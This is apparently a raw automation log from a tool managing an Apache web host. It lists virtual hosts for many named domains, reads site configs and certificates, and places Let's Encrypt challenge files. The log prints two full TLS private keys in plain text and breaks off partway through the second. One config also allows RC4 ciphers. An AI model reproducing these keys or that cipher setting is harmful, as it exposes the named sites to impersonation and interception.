	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-31 06:00:22: 

chmod 755 /tmp/pkp489878; /tmp/pkp489878; rm /tmp/pkp489878

2025-12-31 06:00:22: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-31 06:00:22: Establishing a connection
2025-12-31 06:00:23: 

PUT: /tmp/pkp453070

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-31 06:00:23: 

chmod 755 /tmp/pkp453070; /tmp/pkp453070; rm /tmp/pkp453070

2025-12-31 06:00:23: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-31 06:00:23: 

PUT: /tmp/pkp839502

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_www_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 06:00:23: 

chmod 755 /tmp/pkp839502; /tmp/pkp839502; rm /tmp/pkp839502

2025-12-31 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_www_us.conf	1174

<VirtualHost *:80>
    ServerName	pjy.us
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.pjy.us
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	pjy.us
    ServerAlias	www.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-31 06:00:23: 

PUT: /tmp/pkp938302

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 06:00:23: 

chmod 755 /tmp/pkp938302; /tmp/pkp938302; rm /tmp/pkp938302

2025-12-31 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt	5345
04:47:de:e0:75:06:0e:2d:af:6a:43:32:28:28:df:02

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBlGsPY0n/u6/tczpijPN+ZLFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjMxMDUwMTUxWhcNMjYwMzMxMDUwMTUwWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCjYFQTXZQg
43x/4+hTRvVdzvkocJSqkARRJIw71SaymCgFL9TWdtA5PnROZXZGEbQ76NHcdQln
SNCdNQwLqfi+svrzKADyV6U9xr5DB8u0LBIfhO2Bzf9REpcy3DGelzn97qVoqtbU
uGZZZlgcTuR6ikHVCurrY0twz+8B4L63GAU+v3BWe8SSrgSOCRe17W8EXbwm6fyv
f8OxX2Ff2QYmqGdBIRpegEd31pM31gnGx1NOQ/wsUyZE81a+7en7jt/9d4BurEBL
ZKxLhLqwlD0/6oqQcUSdIG2hTGtWgjAc6pRgScer6xduVybjzvmep84qz0BU1vYL
O/76YL5I3GoNAgMBAAGjggIoMIICJDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFI/E
S40AvdEt95RDVwGSf/L0cFy6MB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzcwLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2AA5XlLzzrqk+Mxss
mQez95Dfm8I9cTIl3SGpJaxhxU4hAAABm3L+NxUAAAQDAEcwRQIgCsqlaGrzvjQJ
bbq4XwTYBgfi3OBQde5/mDCJ8fg0BYECIQC/OGOy8k1VhR3DJ5Ewi4s7sgJF+O4v
6JUPMY2pjOh09QB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHiAAAB
m3L+N8sACAAABQAFotPhBAMARzBFAiBNpxLuUs35St6dfAvsdJ299yoMPQ/D0KIj
hnhZUvR1MQIhALP3KM6Rh9VfOl8AniIakXug9DXexpsGvOWGubhDTYPtMA0GCSqG
SIb3DQEBCwUAA4IBAQCcqz+ap4lFaNB1+Re71yY+8dGPQYzv6BMsikoLqTiqqfuK
ZGQWXRSh9lkfQTcREXSdGHIOODvq17rFCi8DOPbvTesqVdzt3I3mEJLkUMroIc07
lN/SGXGZ6cUzWX5PyjZ3fQ0EbXU3Z1BSiAqPrpabKOzITQprCqS9S1OmnX6h5LRo
YDHiDmetNLupYfUVb6wr2I2sMX+z+ukTmXDWbr7bomM75SOrbPIfC7X8vZseLwmQ
NkOMqbhmaRs5+d/l0s361v/eZxbTTK7HAbQz2alzf3CeIQPQ50a4dM0/Sf0+Q3Rz
Fq3iUaLhqd5U8911FAOOWjMPri0qeojHZB2Z6f2u
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCjYFQTXZQg43x/
4+hTRvVdzvkocJSqkARRJIw71SaymCgFL9TWdtA5PnROZXZGEbQ76NHcdQlnSNCd
NQwLqfi+svrzKADyV6U9xr5DB8u0LBIfhO2Bzf9REpcy3DGelzn97qVoqtbUuGZZ
ZlgcTuR6ikHVCurrY0twz+8B4L63GAU+v3BWe8SSrgSOCRe17W8EXbwm6fyvf8Ox
X2Ff2QYmqGdBIRpegEd31pM31gnGx1NOQ/wsUyZE81a+7en7jt/9d4BurEBLZKxL
hLqwlD0/6oqQcUSdIG2hTGtWgjAc6pRgScer6xduVybjzvmep84qz0BU1vYLO/76
YL5I3GoNAgMBAAECggEAAUcRET+zl1hAEn31RKVy6MNkFmle+EB9ECdhg1xE27Ot
6HB50R2HvlLbNPu9I4oi5y8IaRlvM+QRYZFXIUY4gEFFDh67dymxTJzfwwVuFeAc
Wiu/cbrrKrajAQ5QwwU6ul4h5AImAO7aOgu/V6VUSxMGtcRKlwGlRuIRY+neg+8E
dGNLNaiczIaP3Vv33gCPwzZJKzyrH/LAbx6OjgL3KMda8IJwOuy128aD/lBOZT8r
jvSi4p8pl1U+c4qWEoOT1ntJa9Mh5xGQYjMO1Q1g1YyIDMD9/DV3UqDez2qGmoSL
RZkTyPHIwo7Ov73+cCvMzKga2NVM8vfvSPL9/jzGMQKBgQDRsVUQ756G+LttmGE6
8bGpcp47mi6Kcboiimk0hag4kpWPNRbq5ta8bk4z4P6eRjt7Deq2O2jGiAyh8pmS
dQtIbnpP//xA0zp0EL0Pv1iGliL3ti8V7mrCgFmaGHO9LiydjGLDl4J0+R7AA/j/
np0DHaJ3+f/9QOAj32MEj7fZeQKBgQDHdJDJUnkcEKa393zKjJLN7KKXBDJmMdhr
hN/cJZtdEPHEYkRCRH3xsa5zZ6zbXcwhHgjuZccNUhaEc+WkpmhxUPy8/UV8/wzF
tbBssrBoBsGHuIU/UNNfp7hns8YChUVv43ZvNtcspuNU3fdaksefnZTt2WRxScre
6ObG2HqENQKBgQCN3T1B0fscMVcMVFUjfbTGgMbQaAUooLxe9ekrIWmnrHQGiNJS
ZY3NuYqqyoM4LSe8nrO2SgcemZiCUBDZ5tmVTTjuuq68ZKtdLp3Z84g+tYA+ukCs
w7nykMcN25Eh4gVJKVsAHJaj8I5/NbDVr0dmfjwWk0o+2g9J9a2Vvm2RcQKBgQC0
sJH2AEP9O8x9PrSLnjvkV6qX2tJ5qFBiXzaZ7mvILPCJM2iZDAl4qrnajKKY/GlP
2zDGH+fq1mHVzlTNC3/0oCTGZT/NVBVTCxzv7BVJuE0c0fnMeUF0F7JEKCWK5QcZ
rNv/NpRKPEoX+Rn7sJstq4lezCFlTC+AL0fZ/gVHvQKBgB8lFbPJOiglYop0sE3y
xIKqiIDDheDx/2TWJWMtPCUYd/HV5s2L6IqyqEAD0kUQQPZgkm/U1xb3HTaaYVZu
FeHAYX3ahsyRGM4Vgs4l+s4/m5jw0/7JISCTh1elazvmUkAb9h5fp7atSzOoEfPJ
ZKlJA2mLjPYFFKB0vR6b/OMj
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-12-31 06:00:23: Establishing a connection
2025-12-31 06:00:23: Establishing a connection
2025-12-31 06:00:23: 

PUT: /tmp/pkp291386

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-31 06:00:24: 

chmod 755 /tmp/pkp291386; /tmp/pkp291386; rm /tmp/pkp291386

2025-12-31 06:00:24: 


1


2025-12-31 06:00:24: Establishing a connection
2025-12-31 06:00:25: 

PUT: /tmp/pkp163873

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > pt8S3g4XDUmnJ6WfVhgO22EkNBmVVMkNiBS-pFChb9c <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
pt8S3g4XDUmnJ6WfVhgO22EkNBmVVMkNiBS-pFChb9c.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 pt8S3g4XDUmnJ6WfVhgO22EkNBmVVMkNiBS-pFChb9c


2025-12-31 06:00:25: 

chmod 755 /tmp/pkp163873; /tmp/pkp163873; rm /tmp/pkp163873

2025-12-31 06:00:25: 




2025-12-31 06:00:26: Establishing a connection
2025-12-31 06:00:26: Establishing a connection
2025-12-31 06:00:26: 

PUT: /tmp/pkp481237

#!/bin/bash
if [ -d "/var/www/christadelphian_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-31 06:00:27: 

chmod 755 /tmp/pkp481237; /tmp/pkp481237; rm /tmp/pkp481237

2025-12-31 06:00:27: 


1


2025-12-31 06:00:27: Establishing a connection
2025-12-31 06:00:27: 

PUT: /tmp/pkp229180

#!/bin/bash
mkdir -p "/var/www/christadelphian_www/.well-known/acme-challenge/"
cd "/var/www/christadelphian_www/.well-known/acme-challenge/"
cat > VV_uR8pJsEr2CVMUc_w6F41yndiHtf2Fi_b22CqX8HQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
VV_uR8pJsEr2CVMUc_w6F41yndiHtf2Fi_b22CqX8HQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 VV_uR8pJsEr2CVMUc_w6F41yndiHtf2Fi_b22CqX8HQ


2025-12-31 06:00:27: 

chmod 755 /tmp/pkp229180; /tmp/pkp229180; rm /tmp/pkp229180

2025-12-31 06:00:27: 




2025-12-31 06:00:32: Establishing a connection
2025-12-31 06:00:32: 

PUT: /tmp/pkp743370

#!/bin/bash
mkdir -p "/var/www/christadelphian_www/.well-known/acme-challenge/"
cd "/var/www/christadelphian_www/.well-known/acme-challenge/"
rm VV_uR8pJsEr2CVMUc_w6F41yndiHtf2Fi_b22CqX8HQ


2025-12-31 06:00:32: 

chmod 755 /tmp/pkp743370; /tmp/pkp743370; rm /tmp/pkp743370

2025-12-31 06:00:32: 




2025-12-31 06:00:32: Establishing a connection
2025-12-31 06:00:32: 

PUT: /tmp/pkp575830

#!/bin/bash
temp_file=$(mktemp)
TARGET=ef56788a9be5d522516b6c274e285339.crt

cat > $temp_file <<'endmsg'
7f:d2:a4:a7:5a:98:c7:51:0b:d8:61:a2:a6:0c:9f:8b

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBjsda1yqReKzJysPfTCUnduPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjAwWhcNMjYwMzMxMDUwMTU5WjAgMR4wHAYDVQQD
ExVjaHJpc3RhZGVscGhpYW4udmlkZW8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDC7wNn7d0vyTYovzvGPJhBJXVrameunW/1KewcNL2o4qEXSkP0OVlD
DNr4jV8NRnYiOaT3F15RcHbEmGWy+7H6fquHvYIeo7nficQgb1thKfOKUhASgbSH
mymdw88ErmeBwXE3LqASSLYXzLyV8csSknW93wDCzgcCj2UhHNkq8FsyYIA/oP+2
0BDyxkVLklbnYtIAsLQur62TLIoI2OqeGOQ+sILxEZWTX+V65K9M9a4TgnMLSR3W
1XK/H3oZofQYG68darmQzGYNBoznb72bqF2quCDNI3aUg0JQWC7mucG1PAvlDVz2
UadV6MdBp1lSvcq63SXvBigX/HK5w0fxAgMBAAGjggItMIICKTAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFNBkuLHfrxOShGrasE0zWP3bmEM3MB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVY2hyaXN0YWRlbHBo
aWFuLnZpZGVvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTYuY3JsMIIBDAYKKwYBBAHWeQIEAgSB
/QSB+gD4AHUAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbcv5b
qQAABAMARjBEAiAqBvVlUZbNK58NWalf8UlBL9cwgxZTEvP65a20e45xxQIgLlE/
fsNQ6kKoNOBAYZYH2dWZmxOqKK9dflPTV3EZBU0AfwBxfpXzwjiKbbHjhEk9MeFa
qWIIdi1CAOAFDNBntaZh4gAAAZty/lu8AAgAAAUABaLUnAQDAEgwRgIhAPxJAhxg
6Ezj7D69r321JClieRUA4SDIsKWkMu0IkCK1AiEAjAEMOvRWtmz6BxMhsCFky/5b
LN/MZuU6+dYY3OyttAswDQYJKoZIhvcNAQELBQADggEBAIaDOrBCXSqVbfIdi7rw
+n5tCa+k1y+geqjVQurWy459zlAQ8kYWwomrSIp/LDQZMp4PIc73N2VoOfbaAqif
VHKKRywc/ptRcUP4lxb/BVtLd91CouFhCHZE6CkJ+Zq5QLhxJLymkbNPxrskA29B
eWsRbbsGTXOdoF8gAOM5sHBBCKkBltvnndxK9IlN5Dnx+WlClk+Ozo4o6sEGRP1T
AR480UPAlJGaWAJDkBkWKuN1+cwvvHcKfPbPS24JJezSam/+5iejvomoFlpFmpTa
iSN0e/02j45iyxHDm0fc6/dDDOBmsRdITwOJcDUiYhRUpSj5R9jzDhmY1HmZJM5+
Omo=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDC7wNn7d0vyTYo
vzvGPJhBJXVrameunW/1KewcNL2o4qEXSkP0OVlDDNr4jV8NRnYiOaT3F15RcHbE
mGWy+7H6fquHvYIeo7nficQgb1thKfOKUhASgbSHmymdw88ErmeBwXE3LqASSLYX
zLyV8csSknW93wDCzgcCj2UhHNkq8FsyYIA/oP+20BDyxkVLklbnYtIAsLQur62T
LIoI2OqeGOQ+sILxEZWTX+V65K9M9a4TgnMLSR3W1XK/H3oZofQYG68darmQzGYN
Boznb72bqF2quCDNI3aUg0JQWC7mucG1PAvlDVz2UadV6MdBp1lSvcq63SXvBigX
/HK5w0fxAgMBAAECggEABTjJCafD+P5QnVhRa1l0XFW6zBZqXHGFY4Gh5yKG4cc1
DgOUXO6MBIFhEe9FjdHmoxA8v01os9FJroavk2ht0i+XpuKjIZt8r0SIlLQu9Dl0
YkREVR6U3bIWHrlf/7iFTM2dW7SmdJRD49DSoh37SjjSqclXbaB+bGmMybg1CBL4
CdezqIdp5Puj6VZdR6M6R4ljeMwuU4v226kayq7lcWIjo9LgMFQGwLSD/KyQV4JN
5xH8AHDZ7lgkDzMQynBo+VS2CnM/yJlvnYenVQY5EfDS2x0hT6c++s30X998wGsa
WwBimJcRCDhlC8ekLRhO/XJKQ/10dVsiGMTIGf9qvQKBgQD1z4c/mGcIVH05DTU1
hu8e4zKZEQE4Qbjd0lfQsHapU/M5wFqKuukJxzY1wosW1cnND/KBmHkvOm7ULB3W
Egr4GWwFAhDNLwJ8YWuD61ERriBrPmQ5EtuXgfh3PRV61ekKaTqiyj1xHnJ6QZxI
Znle071yJXWhzG2jk3hEbPvAlQKBgQDLA5fEUdzDA113mQTvcbzPbK5CN6NEBNYW
tpF1iIBfdT/ZejbPjwRJJemkqKFishw0OQi7l0O1OfML49VfnWc3biB2kn4vuXrY
xbRnV1jHiXcPuuP8nI+90WgMu1Of63U1ziO2d1Lf4W8Gjqa9krihFUbw2izX08Q1
vYNvKVSG7QKBgQCAXkViR8OezQisL6KW9oWP2tSErSW27FOPvBZSDKWbXhUKFtLx
2hRzH87GmncqkLEXXvmlBixbJqfUM8nNDpUd5aDMqLx/espQjEuqk8w9cHLLrsSG
LbvxzlUkaAj8ohNWdYfCld0qYt0jzXnBMYq2o9subjOVMH4dS5kmGsgKVQKBgQC6
M+tpp2QCgf2iinkaXYm9/oK+PWXEJ2Ntpbo4wSBtbY9Im23WZeiaZumrmvebHJ39
0CoQVSdG+4XO7ANzFV3sW1fvKWIPx+HDHWLgPh8xtQW9Kb+enMLCaWUz+EU1MrNo
zE+5NiyPJ6e7re+FhSNOq8NLefETbCpU2CPLO29J6QKBgQDWHYINhn9E9I+57RjI
